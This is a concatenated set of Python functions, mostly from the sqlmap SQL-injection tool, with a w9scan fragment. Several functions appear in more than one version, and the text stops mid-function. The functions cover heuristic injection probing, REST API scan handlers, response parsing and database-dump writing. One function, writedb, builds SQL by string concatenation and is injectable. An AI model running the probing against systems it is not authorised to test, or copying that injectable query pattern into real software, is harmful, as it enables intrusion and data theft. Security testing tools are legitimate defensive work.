def heuristicCheckSqlInjection(place, parameter, value): if kb.nullConnection: debugMsg = "heuristic checking skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return prefix = "" suffix = "" if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix if conf.suffix: suffix = conf.suffix payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) payload = agent.payload(place, parameter, value, payload) Request.queryPage(payload, place, raise404=False) result = wasLastRequestDBMSError() infoMsg = "heuristics shows that %s " % place infoMsg += "parameter '%s' might " % parameter if result: infoMsg += "be injectable (possible DBMS: %s)" % (kb.htmlFp[-1] if kb.htmlFp else 'Unknown') logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warning(infoMsg)
def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warning(warnMsg) try: try: import sqlite except ImportError, _: errMsg = "sqlmap requires 'python-sqlite2' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise sqlmapMissingDependence, errMsg self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout)
def processResponse(page, responseHeaders): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) if re.search(BLOCKED_IP_REGEX, page): errMsg = "it appears that you have been blocked by the target server" singleTimeLogMessage(errMsg, logging.ERROR)
def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute( "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append( {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute( "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("[%s] Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute( ("SELECT time, level, message FROM logs WHERE " "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages})
def writedb(conn, ports, ID): try: cur = conn.cursor() cur.execute("update host set port='"+ports+"' where id="+ID) conn.commit() except Exception as e: logger.warning(e) return
def option_list(taskid): """ List options for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) logger.debug("[%s] Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})
def processResponse(page, responseHeaders, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)<form.+?</form>", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)<title>[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) break if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg)
def task_list(taskid): """ List task pull """ if is_admin(taskid): logger.debug("[%s] Listed task pool" % taskid) tasks = list(DataStore.tasks) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) else: logger.warning("[%s] Unauthorized call to task_list()" % taskid) return jsonize({"success": False, "message": "Unauthorized"})
def check_fingerprint(): result = Wappalyzer(datafile_path=paths.PAYLOAD_PATH + '/apps.json').analyze() if result == None: logger.warning("analyze error") print 'analyze error!' return 'None' if result.has_key('status_code') == True: headers = '' for i in result['headers']: headers += i + ':' + result['headers'][i] + '\r\n' result['headers'] = headers content = result['html'].lower() tmp_form = re.findall(FingerPrintRules.FromRegex, content) tmp_title = re.findall(FingerPrintRules.TitleRegex, content) result['title'] = 'None' if tmp_title: result['title'] = tmp_title[0] ''' tmp_language = re.findall(FingerPrintRules.LanguageRegex, headers.lower()) if tmp_form: if '.php' in tmp_form: result['language'] = 'php' elif '.asp' in tmp_form or '.aspx' in tmp_form: result['language'] = 'asp' elif '.jsp' in tmp_form or '.do' in tmp_form or '.action' in tmp_form: result['language'] = 'jsp' else: result['language'] = 'UnKnown' else: result['language'] = 'UnKnown' if result['language'] == 'UnKnown': if tmp_language: if 'php' in tmp_language: result['language'] = tmp_language elif 'asp' in tmp_language: result['language'] = tmp_language elif 'jsp' in tmp_language or 'servlet' in tmp_language: result['language'] = tmp_language else: result['language'] = 'UnKnown' else: result['language'] = 'UnKnown' if result['language'] == 'UnKnown': if result['web-servers'].lower() in ['nginx']: result['language'] = 'php' elif result['web-servers'].lower() in ['tomcat']: result['language'] = 'jsp' elif result['web-servers'].lower() in ['iis']: result['language'] = 'asp/aspx' else: result['language'] = 'UnKnown' ''' return result
def task_flush(taskid): """ Flush task spool (delete all tasks) """ if is_admin(taskid): DataStore.tasks = dict() logger.debug("[%s] Flushed task pool" % taskid) return jsonize({"success": True}) else: logger.warning("[%s] Unauthorized call to task_flush()" % taskid) return jsonize({"success": False, "message": "Unauthorized"})
def task_delete(taskid): """ Delete own task ID """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("[%s] Deleted task" % taskid) return jsonize({"success": True}) else: logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"})
def scan_kill(taskid): """ Kill a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True})
def task_delete(taskid): """ Delete an existing task """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("(%s) Deleted task" % taskid) return jsonize({"success": True}) else: response.status = 404 logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Non-existing task ID"})
def scan_kill(taskid): """ Kill a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("(%s) Killed scan" % taskid) return jsonize({"success": True})
def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True})
def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({"success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode()})
def option_get(taskid): """ Get the value of an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") if option in DataStore.tasks[taskid].options: logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option", option: "not set"})
def scan_log(taskid): """ Retrieve the log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages})
def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("[%s] Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})
def option_set(taskid): """ Set value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("(%s) Requested to set options" % taskid) return jsonize({"success": True})
def option_get(taskid): """ Get value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) options = request.json or [] results = {} for option in options: if option in DataStore.tasks[taskid].options: results[option] = DataStore.tasks[taskid].options[option] else: logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options))) return jsonize({"success": True, "options": results})
def processResponse(page, responseHeaders): kb.processResponseCounter += 1 parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
def processResponse(page, responseHeaders): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)<form.+?</form>", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True errMsg = "potential CAPTCHA protection mechanism detected" singleTimeLogMessage(errMsg, logging.ERROR) break if re.search(BLOCKED_IP_REGEX, page): errMsg = "it appears that you have been blocked by the target server" singleTimeLogMessage(errMsg, logging.ERROR)
def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: logger.warning( "[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({ "success": False, "message": "Invalid start or end value, must be digits" }) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute( "SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({ "time": time_, "level": level, "message": message }) logger.debug("(%s) Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages})
def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated( ) is True else "running" logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() })
def download(taskid, target, filename): """ Download a certain file from the file system """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal if not path.startswith(paths.SQLMAP_OUTPUT_PATH): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() return jsonize({"success": True, "file": file_content.encode("base64")}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"})
def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for key in request.json: if key in RESTAPI_UNSUPPORTED_OPTIONS: logger.warning( "[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) return jsonize({ "success": False, "message": "Unsupported option '%s'" % key }) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("(%s) Started scan" % taskid) return jsonize({ "success": True, "engineid": DataStore.tasks[taskid].engine_get_id() })
try: pluginScan() webScan() except ToolkitMissingPrivileges, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitSystemException, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitUserQuitException: systemQuit(EXIT_STATUS.USER_QUIT) except KeyboardInterrupt: systemQuit(EXIT_STATUS.USER_QUIT) except Exception as info: logger.warning("error:%s " % (str(Exception) + " " + str(info))) logger.warning( 'It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/boy-hacl/w9scan/issues/new>.' ) # data = e.buildHtml.getData() # comment = "error:%s urlconfig:%s date:%s"%(str(Exception) + " " + str(info),str(urlconfig),data) # createIssueForBlog(comment) if __name__ == '__main__': main()
def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if hasattr(conf, "api"): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = os.path.join(conf.dumpPath, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop)) dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<th>%s</th>" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<tr>") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<td>%s</td>" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tr>\n") self._write("|", console=console)
def update(): if not conf.updateAll: return success = False if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warn(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % getRevisionNumber()) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception as ex: errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) logger.error(errMsg) else: attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with openFile(filepath, "rb") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True except Exception as ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: try: os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (http://windows.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')" logger.info(infoMsg)
def dbTableValues(self, tableValues): replication = None rtable = None documentNode, tableNode, bodyNode, headNode, rowNode = (0, ) * 5 dumpFP = None if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication( "%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()) dumpFP = openFile(dumpFileName, "wb") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append( (column, colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: documentNode = getDOMImplementation().createDocument( None, "table", None) tableNode = documentNode.documentElement if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) if conf.dumpFormat == DUMP_FORMAT.HTML: headNode = documentNode.createElement("thead") rowNode = documentNode.createElement("tr") tableNode.appendChild(headNode) headNode.appendChild(rowNode) bodyNode = documentNode.createElement("tbody") tableNode.appendChild(bodyNode) for column in columns: if column != "__infos__": info = tableValues[column] maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild(documentNode.createTextNode(column)) field += 1 self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: rowNode = documentNode.createElement("tr") 